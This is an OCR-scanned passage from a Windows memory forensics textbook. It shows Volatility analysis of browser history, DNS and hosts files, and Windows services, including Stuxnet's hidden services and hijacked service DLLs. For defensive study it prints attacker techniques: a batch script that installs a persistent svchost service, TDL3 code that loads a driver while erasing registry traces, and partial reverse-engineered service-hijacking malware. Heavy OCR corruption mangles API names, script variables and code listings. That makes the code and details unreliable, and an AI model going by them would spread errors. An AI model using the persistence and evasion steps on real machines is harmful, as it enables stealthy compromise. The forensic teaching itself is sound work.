explorer.exe(Iq[)1928)and.15103.exe(1q[)1192)

$ python vol.py -f exemplarl7 l.vmem --profile=WinXPSP3x86 iehistory
Volatility Foundation Volatility Framework 2.4
EEEEREEEEEEEEEEEEREEEEEREEEEEEEREEEEEEEEEEEEEEEEEES

Process: 1928 explorer.exe

Cache type "URL " at 0xf25100

Record length: 0x100

Location: Visited: fooehttp://192.168.30.129/malware/40024.exe
Last modified: 2009-01-08 01:52:09

Last accessed: 2009-01-08 01:52:09

File Offset: 0x100, Data Offset: 0x0, Data Length: 0xa0

RS R RS SRS S SRS SRS RS SE R RS SRR R R R R EREEEEEESS

Process: 1928 explorer.exe

Cache type "URL " at 0x£25300

Record length: 0x180

337
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Location: Visited: fooehttp://www.abcjmp.com/jumpl/?affiliate=mul&subid=[snip]
Last modified: 2009-01-08 01:52:44
Last accessed: 2009-01-08 01:52:44

File Offset: 0x180, Data Offset: 0x0, Data Length: 0x108
khkhkkhkhkkkhkhhkkhkhkhhkhkhhhhkhkhhhhkhkhhhhkhkhdhhkhkhdhkhkkhhhkrkdhrx

Process: 1192 15103.exe

Cache type "URL " at 0xf56180

Record length: 0x180

Location: http://fhg-softportal.com/promo.exe
Last modified: 2009-03-23 16:14:17

Last accessed: 2009-01-08 01:52:15

File Offset: 0x180, Data Offset: 0x8c, Data Length: 0x9c
File: promo[l].exe

Data: HTTP/1.1 200 OK

ETag: "8554be-6200-49c7b559"

Content-Length: 25088

Content-Type: application/x-msdownload

Based on the output, you can tell exactly which URLs were visited. Furthermore, at least
one of the files (promo. exe) was saved in the Temporary Internet Files folder as promo[1]
.exe. This provides you with artifacts that you can use to triage with disk forensics.

WARNING

It is possible for malware to delete entries in the IE cache by using the peleteurlcache
entry APL Likewise, keep in mind that you can use createturlcacheEntry to methodi-
cally plant a history entry, even if the URL wasn't accessed on the machine (for example,
to frame an innocent teacher for viewing child pornography).

Brute Force URL Scans

There are a few situations we haven't discussed yet. For example, what if you're look-
ing for all URLs in process memory (i.e., embedded in a web page but not yet visited, in
JavaScript code, or in an e-mail body)? IE history files are also known to have slack space
in which new records with smaller URLs can overwrite old records with long URLs, thus
leaving part of the original domains intact. Furthermore, what about browsers that store
history in different formats, such as Firefox and Chrome?

In the aforementioned cases, you can always search for URLs in a bit more forceful
yet unstructured manner. If you don’t already have a favorite regular expression for
finding domains, IPs, and URLs, try some of the ones on http://regexlib.com/Search.
aspx?k=URL. The following command shows an example of using one of those regexes to
find all domain names within certain top-level domains (com, org, net, mil, etc.).
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$ python vol.py -f win7 x64.dmp --profile=Win7SP0x64 yarascan -p 3004
-Y "/[a-zA-Z0-9\-\.]+\. (com|org|net|mil|edu|biz|name|info) /"
Volatility Foundation Volatility Framework 2.4

Rule: rl

Owner: Process iexplore.exe Pid 3004

0x003e90dd 77 77 77 2e 72 65 75 74 65 72 73 2e 63 6f 6d 2f www.reuters.com/
0x003e90ed 61 72 74 69 63 6c 65 2f 32 30 31 31 2f 30 34 2f article/2011/04/
0x003e90fd 32 34 2f 75 73 2d 73 79 72 69 61 2d 70 72 6f 74 24 /us-syria-prot
0x003e910d 65 73 74 73 2d 69 64 55 53 54 52 45 37 33 4c 31 ests-idUSTRE73L1
0x003e911d 53 4a 32 30 31 31 30 34 32 34 22 20 69 64 3d 22 SJ20110424".1id="
0x003e912d 4d 41 41 34 41 45 67 42 55 41 4a 67 43 47 6f 43 MAA4AEgBUAJgCGoC
0x003e913d 64 58 4d 22 3e 3c 73 70 61 6e 20 63 6¢c 61 73 73 dXM"><span.class
0x003e914d 3d 22 74 69 74 6c 65 74 65 78 74 22 3e 52 65 75 ="titletext">Reu

Rule: rl

Owner: Process iexplore.exe Pid 3004

0x00490fa0 77 77 77 2e 62 69 6e 67 2e 63 6f 6d 2f 73 65 61 www.bing.com/sea
0x00490fb0 72 63 68 3f 71 3d 6c 65 61 72 6e 2b 74 6f 2b 70 rch?g=1learn+to+p
0x00490fc0 6c 61 79 2b 68 61 72 6d 2b 31 11 3a 87 26 00 88 lay+harm+1.:.&..
0x00490£fd0 00 00 00 00 00 00 00 00 80 00 00 00 00 00 00 00  ................
0x00490fe0 d8 50 0b 09 00 00 00 00 00 00 00 00 00 00 00 00 P

0x00490£ff0 00 00 00 00 3e 46 69 6e 5d c7 37 4e 20 00 00 00 ....>Fin] .7N....
0x00491000 40 10 49 00 00 00 00 OO 00 00 OO 0O 00 00O 0O 0O @.I....n.
0x00491010 01 00 00 00 63 61 3c 2f 63 00 6f 00 6e 00 74 00 ....ca</c.o.n.t.
[snip]

The regular expression searches are very powerful. Instead of using yarascan on pro-
cess or kernel memory, you could carve across the physical memory dump file and detect
any URLs or domains that were lingering in freed or de-allocated storage.

DNS Cache Recovery

A system’s DNS cache is stored in the address space of the svchost . exe process that runs
the DNS resolver service. Specifically, you'll find the relevant data on the process” heap(s).
At the time of this writing, we’ve seen several proof-of-concept plugins (see https://
code.google.com/p/volatility/issues/detail?id=124) for recovering the cached entries.
However, the plugins focused on 32-bit Windows XP. If you need to analyze the cache
during an investigation, your options are:

Acquire memory with KnTTools (see Chapter 4). The acquisition software records
DNS cache entries in an XML file.

Integrate the command ipconfig /displaydns into your live response toolkit.
Update one of the example Volatility plugins to work on more recent operating
systems.
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Brute force the heaps of the svchost.exe process looking for regular expressions
of hostnames (see the technique we used in Chapter 8 to find user input on the
Notepad process” heap).

Additionally, you might be interested in the target system’s DNS hosts file. When
applications call bnsqQuery, as long as they don’t set the pxs_oquery_No_nosTs_FILE flag, the
resolver service will return matching data from the hosts file (if it exists) before forward-
ing the request to a DNS server. Malicious code often sabotages the hosts file to prevent
access to certain websites. Thus, inspecting the file’s content gives you another method
to detect unauthorized modifications to the system.

To access the hosts file, use the filescan and dumpfiles plugins (see Chapter 16), as
shown in the following commands. The first command finds the physical offset of the
hosts file’s FILE oBJECT structure. The second command extracts the file’s content to disk.

$ python vol.py -f infectedhosts.dmp filescan | grep -i hosts

Volatility Foundation Volatility Framework 2.4

0x0000000002192£90 1 0 R--rw- \Device\HarddiskVolumel\WINDOWS\system32\
drivers\etc\hosts

$ python vol.py -f infectedhosts.dmp dumpfiles -Q 0x2192f90 -D OUTDIR --name
Volatility Foundation Volatility Framework 2.4

DataSectionObject 0x02192f90 None

\Device\HarddiskVolumel \WINDOWS\system32\drivers\etc\hosts

The next command shows the entries in the infected system’s hosts file. As a result
of these entries, programs on the running machine are not able to access any popular
antivirus websites or update servers.

$ strings OUTDIR/file.None.0x8211f1f8.hosts.dat
# Copyright (c) 1993-1999 Microsoft Corp.

[snip]

127.0.0.1 localhost

127.0.0.1 avp.com

127.0.0.1 ca.com

127.0.0.1 customer.symantec.com
127.0.0.1 dispatch.mcafee.com
127.0.0.1 f-secure.com

127.0.0.1 kaspersky.com

127.0.0.1 liveupdate.symantec.com
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Summary

Many investigations start out with an alert from a firewall or intrusion detection system
(IDS). While full network packet captures are extremely valuable, they’re not always
available. Even if captures are provided to you, you'll still need volatile memory to solve
many aspects of the incident. For example, you must know how to track connections back
to specific processes and drivers if you expect to classify the behavior as malicious or not.
A familiarity with process memory and code injection can help a lot with identifying
the exact code that initiated or received data over the network. However, remember that
some evidence of connections in memory is very short lived. Thus, being able to quickly
follow up on an alert and interrogate a system’s network activity is critical.






2 Windows Services

Services on Windows are usually noninteractive (they do not directly accept user
input), run consistently in the background, and often run with higher privileges than
most programs users launch. Examples of services include the event-logging facility, the
print spooler, the host firewall, and the time daemon. Many antivirus products, including
Microsoft’s own Windows Defender and Security Center, run as services. Additionally,
malicious code and adversaries often leverage services for persistence (to survive reboots),
to load kernel drivers, and to blend in with legitimate components of the system.

This chapter introduces you to the internals of Windows services and shows how this
knowledge can help you investigate compromised systems. It explains the major advan-
tages to extracting service-related information from RAM rather than relying on only
data from the registry. To demonstrate the concepts, you'll examine several scenarios
involving malware such as Conficker, TDL3, Blazgel, and the tools adversaries use such
as the Comment Crew (also known as APT1).

Service Architecture

The diagram in Figure 12-1 shows how the key components of the Windows service
architecture work together. A list of installed services and their configurations is stored
in the registry under the HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services key.
Each service has a dedicated subkey with various values that describe how and when the
service starts; whether the service is for a process, dynamic link library (DLL), or kernel
driver; and any service-specific settings. In cases where services are implemented as
DLLs, they will run from a shared host process (svchost . exe).
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Figure 12-1: Diagram of Windows service components

The shared host process mechanism is great for performance because many systems
run hundreds of DLL-based services concurrently, and there’s no need for each of them
to have its own process. However, it can be detrimental to both security and forensic
efforts. Only services that run with the same privilege levels should share a host pro-
cess; otherwise, one service’s code can access the handles, memory, and other resources
created by another service. Similarly, during investigations, if you track activity such as
network connections back to a process, and that process is just a container for multiple
service DLLs, you still need to figure out what service is initiating the connections (see
the “Attributing Connections to Code” section in Chapter 11).

As you can see, when the system boots, the Service Control Manager (SCM), which
is services.exe, reads from the registry and launches any services configured to auto-
matically start. Some services specify dependencies—for example, TermService (RDP)
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relies on networking support, so the Tcpip service must successfully start first. As the
SCM parses these registry entries, it creates a linked-list of service record structures in
memory that store the service’s current state (stopped, running, paused, and so on) and
associated process IDs (PIDs). This volatile data is never written to the registry, which
makes RAM the sole source.

Installing Services

Before you learn about investigating ex post facto artifacts, it’s important to understand
how services are created in the first place. This will also enable you to spot such capabili-
ties when you're performing static analysis of malware samples. The most common ways
attackers create services are these:

Manual commands: If adversaries already have access to a shell, they can type the
sc create and sc start commands to create and start services, respectively. In this
case, in addition to the actual service artifacts, you can potentially recover the exact
commands by running the consoles or cmdscan Volatility plugins (see Chapter 17).
Batch scripts: Many malware samples drop and execute batch scripts that lever-
age the aforementioned commands—just in an automated manner. This technique
also results in new disk artifacts. Here is an example of a batch script that creates
a service named Myservice and configures it to load MyService.d1l automatically
at boot time inside a shared host process:

@echo off

set SERVICENAME="MyService"
set BINPATH="C:\windows\system32\MyService.dll"

sc create "$SERVICENAME%" binPath= "%SystemRoot%\system32\svchost.exe \
-k %SERVICENAMES" type= share start= auto

reg add "HKLM\System\CurrentControlSet\Services\%SERVICENAMES\Parameters" \
/v ServiceDll /t REG EXPAND Sz /d "$BINPATH%" /f

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\SvcHost" \
/v %SERVICENAMES /t REG_MULTI_SZ /d "%$SERVICENAME%\0" /f

sc start $SERVICENAME%

Windows APIs: Behind the scenes, the sc commands just call functions such as
CreateService and startService—both of which can be directly imported by mal-
ware written in the C or C++ languages. Before createservice returns, a new
subkey is added to the registry with the service’s configuration. startservice
leaves traces in the event log as well—to indicate the time when services started.
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WMI: There are a few high-level interfaces that allow you to interact with services.
For example, Windows Management Instrumentation (WMI) exposes a win32_
Service class with create and start methods (see http://msdn.microsoft .com/
en—us/library/aa394418(v:vs.85).aspx)

Tricks and Stealth

Because installing services is so noisy (that is, it introduces new registry keys and event
log entries), attackers have devised several ways to avoid detection by the most common
analysis techniques. For example, one of the heuristics that some antivirus products use is
watching for processes that call createservice and startservice sequentially. Of course,
these actions aren’t malicious alone, but at least they provide a trigger to antivirus soft-
ware to scan the service binary before allowing the service to run. What many analysts
don’t know is that neither of the mentioned APIs is actually required to install a service.

If you manually create the necessary registry keys (via RegCreateKey, RegSetValue, and so
on), there’s no need to use createservice. You can then start the service by directly calling
Ndrclientcall2 (an RPC interface called internally by startservice). Alternatively, if the
service is for a kernel driver, after the registry keys are created, you can call NtLoadDriver.
Both of these methods result in a new running service, but do not generate entries in the
event log indicating that a service was created or started. By avoiding the standard APIs,
the SCM is bypassed, and thus it doesn’t create service record structures in memory.

Although these techniques prevent the creation of an event log and some memory arti-
facts, they still require additions to the registry. However, after a service is running, mal-
ware can simply delete the registry keys and values. Figure 12-2 shows TDL3 doing exactly
that—it bypasses startservice by calling NtLoadbriver and then uses suDeletekeya to
remove the evidence in the registry.

push eax

push ebx

push 1

push 8ah ; SeLoadDriverPrivilege
call ds:RtlAdjustPrivilege

lea eax, [ebp+68h+RegkeyName]

push eax

call ds:NtLoadDriver
push offset pszSubKey ; "systemiicurrentcontrolseti\services\\tdlse™ ...

push esi ; hkey
mov edi, eax

call ds:SHDeleteKeyn

cmp edi, 8CO00B157h

jnz loc_98C1BS57

T L3

Figure 12-2: TDL3 avoids calling StartService by using NtLoadDriver directly
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At this point, no traces of the service exist in the event log, the registry, or the memory
of services.exe. You can still find the running process, DLL, or kernel driver in memory
(unless a rootkit hides them as well), but the valuable metadata that describes how and
when they were initially loaded won't be easily accessible. These are just a few of the
clandestine ways malware can interact with services. Throughout the rest of the chapter,
you’ll encounter several others, which will give you a comprehensive perspective on
service-related activities.

Also, adversaries don't just create new services for their own use—they also stop exist-
ing services to disable or lower security. For example, some variants of Conficker stop the
following services so that it can operate more freely on the victim computer:

Wscsve (Windows Security Center Service)
Wuauserv (Windows Automatic Update Service)
BITS (Background Intelligent Transfer Service)
WinDefend (Windows Defender Service)
WerSvce (Windows Error Reporting Service)

You can stop a service in several ways. Two such methods include the use of the
controlservice API function and dropping a batch file that contains commands like
net stop SERVICENAME. Malware can also just use Terminateprocess, but that does not
allow the service process to shut down cleanly or notify the SCM of the service’s new
status, which can often lead to stability problems. Thus, when you're reviewing services
on a suspect system, remember that stopped services can often be indicators as well as
started/running services.

Investigating Service Activity

Windows ships with several tools you can use to investigate services on a live
machine. Be aware, however, that they're all subject to monitoring or manipulation
by rootkits active on the system. Nonetheless, it is good to know your options in
case you want to compare what you see on a live system with the data in RAM. For
example, you can use the Microsoft Management Console (MMC) to investigate or
control the services on a system. To bring it up, go to Start & Run and then type
services.msc and press Enter.

From a command line, or if you need to enumerate services automatically with a
collection script, you have a few options available. The first one that comes to mind is



348 Partll: Windows Memory Forensics

the cet-service PowerShell command. You can use this functionality in the following
manner:

PS C:\Users\Jake> Get-Service

Status Name DisplayName

Stopped AdobeARMservice Adobe Acrobat Update Service

Running AeLookupSvc Application Experience

Stopped ALG Application Layer Gateway Service
Stopped AppIDSvc Application Identity

Running Appinfo Application Information

Stopped AppMgmt Application Management

Stopped aspnet state ASP.NET State Service

Running AudioEndpointBu... Windows Audio Endpoint Builder
Running Audiosrv Windows Audio

Stopped AxInstSV ActiveX Installer (AxInstSV)
Stopped BDESVC BitLocker Drive Encryption Service
Running BFE Base Filtering Engine

[snip]

Another option that you can access from a standard command shell (that is, not
PowerShell) is the sc query command. The following list shows the installed services
along with their types and current states:

C:\Users\Jake> sc query

SERVICE _NAME: Appinfo
DISPLAY NAME: Application Information

TYPE : 20 WIN32 SHARE PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT PAUSABLE, IGNORES_SHUTDOWN)
WIN32 EXIT CODE : 0 (0x0)
SERVICE _EXIT CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT HINT : 0x0

SERVICE NAME: AudioEndpointBuilder
DISPLAY NAME: Windows Audio Endpoint Builder

TYPE : 20 WIN32_ SHARE PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT PAUSABLE, IGNORES_ SHUTDOWN)
WIN32 EXIT CODE : 0 (0x0)
SERVICE EXIT CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT HINT : 0x0

[snip]
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NOTE

You can also consider the Sysinternals PsService utility (http: //technet .microsoft.com/
en-us/sysinternals/bb897542.aspx), which also enables you to enumerate services of
remote systems.

Although these tools can give you a brief look at service-related activity, they often lack
the detail required to perform in-depth investigations. For full-scale analysis, you really
need to consult RAM as well as data in the registry. If you have a forensic disk image of a
suspect machine, you can recover the system registry hive (c: \Windows\system32\config\
system) and parse it with a tool such as RegRipper or RegDecoder. However, remember
that a large portion of the registry is memory-resident (see Chapter 10), so access to a
memory dump is often all you need to accomplish the upcoming analysis objectives.

Analysis Objectives

Your objectives are these:

Determine recently created services: By leveraging the last modified timestamps
on a service’s registry key, you can potentially determine the timeframe when it
was added to the system. However, post-installation configuration changes (such
as the start type, dependencies, or description) will overwrite this value and mask
the create time.

Detect services in invalid states: You can detect when unauthorized services are
running (for example, RDP or Telnet) or when security services have been unex-
pectedly halted. By performing routine checks of live systems, you can also detect
any changes in service state between time periods.

Identify hijacked services: In many cases, malware avoids creating a new service.
Instead, it selects an existing service and overwrites the path to the service’s binary
in the registry—pointing it at a malicious file. Alternatively, malware can patch or
replace the service binary on disk (assuming that it has permission).

Locate hidden (unlinked) service records: The Blazgel rootkit was the first mal-
ware specimen we encountered (but certainly not the last) that hid from the SCM by
manipulating the in-memory list of service record structures. As you will see in an
upcoming example, it’s possible to detect this using the svescan Volatility plugin.
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Data Structures

As previously mentioned, the SCM maintains a linked-list of structures that contain infor-
mation about installed services. The structures contain a member at a fixed offset with a
constant value of sErv or sert (depending on the OS version), which makes them easy
to find. However, Microsoft does not document these structures, so we had to assign
our own names for the structures and their members. Here is how they appear for 64-bit
Windows 7 systems:

>>> dt ("_SERVICE_HEADER")

' _SERVICE_HEADER' (None bytes)

0x0 : Tag [tarray', 4, ['unsigned char']]
0x10 : ServiceRecord ['pointer', [' SERVICE RECORD']]

>>> dt ("_SERVICE RECORD")
' _SERVICE_RECORD'

0x0 : PrevEntry ['pointer', ['_SERVICE_RECORD']]

0x8 : ServiceName ['pointer', ['String', {'length': 512,
'encoding': 'utfl6'}]]

0x10 : DisplayName ['pointer', ['String', {'length': 512,
'encoding': 'utflé'}]]

0x18 : Order ['unsigned int']

0x20 : Tag [tarray', 4, ['unsigned char']]

0x28 : DriverName ['pointer', ['String', {‘length': 256,
'encoding': 'utfl6'}]]

0x28 : ServiceProcess ['pointer', ['_SERVICE PROCESS']]

0x30 : Type ['Flags', {'bitmap': svc_types}]

0x34 : State ['Enumeration', {'target': 'long',

'choices': svc_states}]

>>> dt ("_SERVICE PROCESS")
' _SERVICE_PROCESS'

0x10 : BinaryPath ['pointer', ['String', {'length': 256, 'encoding': 'utflé'}]]
0x18 : ProcessId ['unsigned int']
NOTE

The sErRvVICE RECORD structures on older versions of Windows such as XP and 2003
included a serviceList (doubly linked list) instead of a prevEntry (singly linked list).
Regardless of how they’re linked, a service’s position in the list is indicative of when
the SCM read its configuration from the registry (which is typically alphabetical), not
the order that the services started. One exception is services created after a system
boots—in which case the new service is appended to the end of the list, and it will
have the highest order regardless of its name. This is useful because you can easily
distinguish newly installed services from preexisting ones.
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Key Points

The key points for _servICE_HEADER are these:

Tag: This member contains the fixed value of sErv or sers that identifies service
record headers.

ServiceRecord: A pointer to the first service record structure that the header
contains.

The key points for _SERVICE_RECORD are these:

prevEntry: This singly linked list connects a service structure to the previous one.
ServiceName: This member points to a Unicode string that contains the service
name (such as spooler Or SharedAccess).

DisplayName: A more descriptive name for the service—for example, the smb ser-
vice’s display name is Message-oriented TCP/IP and TCP/IPv6 Protocol (SMB
session).

FullServicePath: This member can have different meanings depending on
the type of service. If the service is for a file system driver or kernel driver, the
FullServicePath member points to a Unicode string containing the name of the
driver object (for example, \Driver\Tcpip). If the service is for a process, the
FullServicePath member points to a _SERVICE PATH structure that contains the full
path on disk to the executable file and its current process ID if the service is running.
ServiceType: This member identifies the service type.

currentState: This member identifies the service’s current state.

NOTE

The Microsoft Developer Network (MSDN) website details the full list of possible
types and states here: http://msdn.microsoft.com/en-us/library/windows/desktop/
ms685996 (v=vs.85) .aspx. You can also find them in the winnt .h and winsvec.h header
files from the Windows Software Development Kit (SDK).

Scanning Memory

There are a few ways to enumerate services by parsing process memory. A program-
mer named EiNSTeiN_ wrote a tool called Hidden Service Detector (hsd), which runs
on live Windows systems. It works by scanning the memory of services.exe for
PServiceRecordListHead—a symbol that points to the beginning of the doubly-linked list

351



352 Partll: Windows Memory Forensics

of _SERVICE_RECORD structures on XP and 2003 systems. In particular, hsd scans services
.exe for the pattern of bytes that make up the following instructions:

// WinXP, Win2k3
56 8B 35 XX XX XX XX = MOV ESI, DWORD PTR DS: [PServiceRecordListHead]

// Win2k
8B 0D XX XX XX XX = MOV ECX, DWORD PTR DS: [PServiceRecordListHead]

In the code, the xx bytes indicate wildcards. After hsd finds the list head signature, it
enumerates all service records by walking the list. This is an interesting method, but like
other linked lists, malware can unlink entries to hide running services. Furthermore,
the PserviceRecordListHead symbol was removed after Windows 2003, so the technique
applies only to older systems.

Volatility’s SvcScan Plugin

Due to weaknesses in the aforementioned memory scanning technique and the portability
concerns, the svescan Volatility plugin works a little bit differently. It still leverages
the linked list, but it also performs a brute force scan through all memory owned by
services.exe looking for the sErv or serH tags. Because these tags are embedded in mem-
bers of each _sErVICE_RECORD, you can find all instances of the structures even if they’'ve
been unlinked from the list. In fact, you can then compare the entries found by scanning
with the ones found via list walking and determine exactly what services (if any) have
been maliciously unlinked—something discussed in more detail later in the chapter.

For now, just to get you familiar with the plugin’s output format, here is an example
from a clean Windows system:

$ python vol.py -f memory.dmp --profile=Win7SP0x64 svcscan --verbose
Volatility Foundation Volatility Framework 2.4

Offset: 0x992c30

Order: 34

Process ID: 892

Service Name: BITS

Display Name: Background Intelligent Transfer Service
Service Type: SERVICE WIN32 SHARE PROCESS

Service State: SERVICE RUNNING

Binary Path: C:\Windows\system32\svchost.exe -k netsvcs
ServiceDll: %SystemRoot%\System32\gmgr.dll

Offset: 0x993950

Order: 48

Process ID: 892

Service Name: CertPropSvc

Display Name: Certificate Propagation
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Service Type: SERVICE _WIN32 SHARE PROCESS

Service State: SERVICE RUNNING

Binary Path: C:\Windows\system32\svchost.exe -k netsvcs
ServiceDll: %SystemRoot%\System32\certprop.dll

Offset: 0x9ac930

Order: 367

Process ID: 1240

Service Name: WSearch

Display Name: Windows Search

Service Type: SERVICE_WIN32 OWN_PROCESS

Service State: SERVICE_RUNNING

Binary Path: C:\Windows\system32\SearchIndexer.exe /Embedding

Offset: 0x9a4260

Order: 320

Process ID: -

Service Name: usbuhci

Display Name: Microsoft USB Universal Host Controller Miniport Driver
Service Type: SERVICE_KERNEL DRIVER

Service State: SERVICE_STOPPED

Binary Path: -

Offset: 0x981980

Order: 8

Process ID: -

Service Name: AFD

Display Name: Ancillary Function Driver for Winsock
Service Type: SERVICE KERNEL DRIVER

Service State: SERVICE RUNNING

Binary Path: \Driver\AFD

[snip]

The output shows that the first two services (81Ts and certpropsvc) are both imple-
mented as DLLs (qmgr.d11 and certprop.dll, respectively), and that they are running
within the same host process (PID 892). The wsearch service is a dedicated process
(searchIndexer.exe) and is running as PID 1240. The last two services (usbuhci and AFD)
are both for kernel drivers, but only one of them is running. Because usbuhci is currently
stopped, its binary path is unspecified—meaning no driver is loaded for that service. On
the other hand, aFp is running, so its binary path (\briver\arp) is accessible.

Recently Created Services

A service’s registry key is updated with a last write timestamp when the service is created
and subsequently when it is modified for any reason. If you suspect malware recently
used services, but dont know the exact service name(s), one step you can take is to sort
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them all by timestamps and then view the latest ones. The following example analyzes
Stuxnet, which evades the SCM by using the NtLoadpriver trick discussed previously. As
a result, the svescan plugin won't detect its services, but you'll still be able to analyze the
registry keys. To do this in your own investigations, enter the volshell plugin:

$ python vol.py -f stuxnet.vmem --profile=WinXPSP3x86 volshell
Volatility Foundation Volatility Framework 2.4

Current context: process System, pid=4, ppid=0 DTB=0x319000
Welcome to volshell!

To get help, type 'hh()'

>>>

Now you can import the registry APl module, as discussed in Chapter 10:

>>> import volatility.plugins.registry.registryapi as registryapi
>>> regapi = registryapi.RegistryApi(self. config)

The following lines read all subkeys under the designated controlsetooi\services
key in the system hive:

>>> key = "ControlSet00l\Services"
>>> subkeys = regapi.reg get all subkeys("system", key)

Before you can sort by timestamp, build a dictionary of services with service names
as the keys and integer times as the values. Then sort the unique timestamps in reverse
order (so the most recent ones appear at the front of the list):

>>> services = dict((s.Name, int(s.LastWriteTime)) for s in subkeys)
>>> times = sorted(set(services.values()), reverse=True)

Isolate the most recent three timestamps, and then loop through the dictionary you
previously created, printing the name of the services that match your times:

>>> top three = times[0:3]
>>> for time in top_three:
for name, ts in services.items():
if ts == time:
print time, name

1307075207 MRxCls
1307075207 MRxNet
1307075158 PROCMON20
1288372308 DMusic
1288372308 splitter
1288372308 kmixer
1288372308 drmkaud
1288372308 sysaudio
1288372308 swmidi
1288372308 wdmaud
1288372308 aec
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The output shows eleven services printed in three unique timeframes. The most recent
timeframe (1307075207) translates to 2011-06-03 04:26:47 UTC. At this time, the MrxC1s and
MRxNet services were either created or modified. It should be immediately suspicious that
neither of these services is visible in the output of svcscan. This is a strong indicator that
the two services are hidden (or they were started inappropriately); otherwise, the SCM
would know about them:

$ python vol.py -f stuxnet.vmem --profile=WinXPSP3x86 svcscan

| egrep -i ' (mrxnet|mrxcls)'

Volatility Foundation Volatility Framework 2.4
$

One way to verify whether the services are actually running, despite the fact that
there are no _SERVICE_RECORD structures, involves first determining the associated kernel
module. The path is stored in the Imagerath value of the corresponding registry key. As
you can see in the following output, the module is mrxnet . sys:

S python vol.py -f stuxnet.vmem --profile=WinXPSP3x86 printkey

-K 'ControlSet00l\Services\MRxNet'

Volatility Foundation Volatility Framework 2.4
Legend: (S) = Stable (V) = Volatile

Registry: \Device\HarddiskVolumel\WINDOWS\system32\config\system
Key name: MRxNet (S)
Last updated: 2011-06-03 04:26:47 UTC+0000

Subkeys:
(V) Enum
Values:
REG_S7Z Description (8) MRXNET
REG_SZ DisplayName (S) MRXNET
REG_DWORD ErrorControl (8) 0
REG _SZ Group : (S) Network
REG_SZ ImagePath (S) \?2?2\C:\WINDOWS\system32\Drivers\mrxnet.sys
REG_DWORD Start (s) 1
REG_DWORD Type (S) 1

You can cross-reference that module name with the currently loaded kernel modules:

$ python vol.py -f stuxnet.vmem --profile=WinXPSP3x86 modules
| grep mrxnet.sys

Volatility Foundation Volatility Framework 2.4

0x81c2a530 mrxnet.sys 0xb21d8000 0x3000

\??\C: \WINDOWS\system32\Drivers\mrxnet.sys
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The suspect module is in fact loaded, which means that the MrRxNet service is running,.
At this point, you've leveraged timestamps in the registry to figure out what service(s)
were most recently created or modified, and from there determined that two of them
were hidden from the SCM.

Detecting Hijacked Services

If attackers simply want to use services as a means of persistence, it often doesn’t make
sense to create an entirely new one. For example, so many services on a typical machine
are disabled or unused, so why not just repurpose (that is, hijack) an existing one? Many
threat groups take this approach. If you base your analysis solely on looking for nonstan-
dard or unrecognized service names, you'll overlook these types of attacks. There are
two variations of hijacking existing services, both described next.

Registry-based Hijacks

This method, used by the Comment Crew (also known as APT1), involves simply chang-
ing the ImagePath or serviceDl1 registry value of a legitimate service so that it points
at a malicious file. For example, the WEBC2-ADSPACE sample (http://contagiodump
.blogspot.com/2013/03/mandiant—aptl—samples—categorized—by.html)hﬁackedtheERSVC
service (Error Reporting Service) by modifying its DLL path from %systemRoot%\system32\
ersvc.dll to $SystemRoot%\system\ersvc.dll.

Here’s an example of how Volatility’s output appears on an infected system:

$ python vol.py -f memory.dmp --profile=Win7SP0x64 svcscan --verbose
Volatility Foundation Volatility Framework 2.4

[snip]

Offset: 0x992c30

Order: 34

Process ID: 892

Service Name: ERSvc

Display Name: Error Reporting Service

Service Type: SERVICE WIN32 SHARE PROCESS

Service State: SERVICE_RUNNING

Binary Path: C:\Windows\system32\svchost.exe -k netsvcs
ServiceDll: %SystemRoot%\system\ersvc.dll

Sometimes Microsoft changes the name of a legitimate service DLL between operating
system versions. For example, on Windows XP, the Dynamic Configuration Host Protocol
(DCHP) service binary is dhcpsve.d1l; in Windows 7, it is dhcpcore.d1l. Thus, keeping
track of the changes is a cumbersome task. Instead, you can use the following script to
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build a whitelist of known good paths for service binaries by exporting the information
from a clean system.

1 import pywintypes, win32api, win32con

2

3 def main():

4

5 read perm = (win32con.KEY READ |

6 win32con.KEY ENUMERATE SUB KEYS |
7 win32con.KEY QUERY VALUE)

8

9 hkey = win32api.RegOpenKeyEx (
10 win32con. HKEY_ LOCAL_MACHINE,
11 "SYSTEM\ \ControlSet001\\Services",
12 0,
13 read_perm)
14
15 names = [data[0] for data in win32api.RegEnumKeyEx (hkey) ]
16
17 for name in names:
18
19 try:
20 subkey = win32api.RegOpenKeyEx (

21 hkey,

22 "$s\\Parameters" % name,
23 0,

24 read_perm)

25

26 value = win32api.RegQueryValueEx (

27 subkey,

28 "ServiceDll")

29

30 except pywintypes.error:

31 continue

32

33 path = win32api.ExpandEnvironmentStrings (value[0])
34 name = name.lower ()

35 path = path.lower()

36

37 print name, "=", path

38

39 if name == ' main ':
40 main ()

The code requires Python Extensions for Windows (http://sourceforge.net/
projects/pywin32/) to run, and it outputs data in an INI format. However, you can adjust
the output in a format of your choosing to help automatically produce alerts within
Volatility plugin results.



358 Partll: Windows Memory Forensics

Disk-based Hijacks

The second variation of hijacking services involves replacing the service binary on disk.
In this case, the registry’s servicepll still points at the same path, but the file content has

changed. This typically takes place in the following steps:

The next code listing (which was reverse-engineered from a malware sample) shows

Query the registry to get the path to the target service’s binary file.

Move or delete the original file.

Create a new file at the same path as the original.

Restart the service (or just wait until a reboot).

the exact, detailed approach taken by a particular threat group.

1
2
3
4
5
6
7
8

9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

int _ stdcall WinMain (HINSTANCE hInstance,

{

HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nShowCmd)

/* Local variable declarations are suppressed for brevity */
strcpy ((char *)&szInfectSignature, "XXXXX");

if ( !RegOpenKeyExA (
HKEY LOCAL MACHINE,
"SOFTWARE\ \Microsoft\\Windows NT\\CurrentVersion\\Svchost",
0,
KEY ALL ACCESS,
&hKey) )

cbData = 2048;
RegQueryValueExA (hKey, "netsvcs", 0, &Type, &Data, &cbData);

Str = (char *)&Data;
if ( Data
{

do

{

wsprintfA (&SubKey,

"SYSTEM\ \CurrentControlSet\\Services\\%s\\Parameters",

Str) ;
if ( RegOpenKeyExA (HKEY LOCAL MACHINE,
&SubKey,
0,
KEY QUERY VALUE,
&phkResult) )
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36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
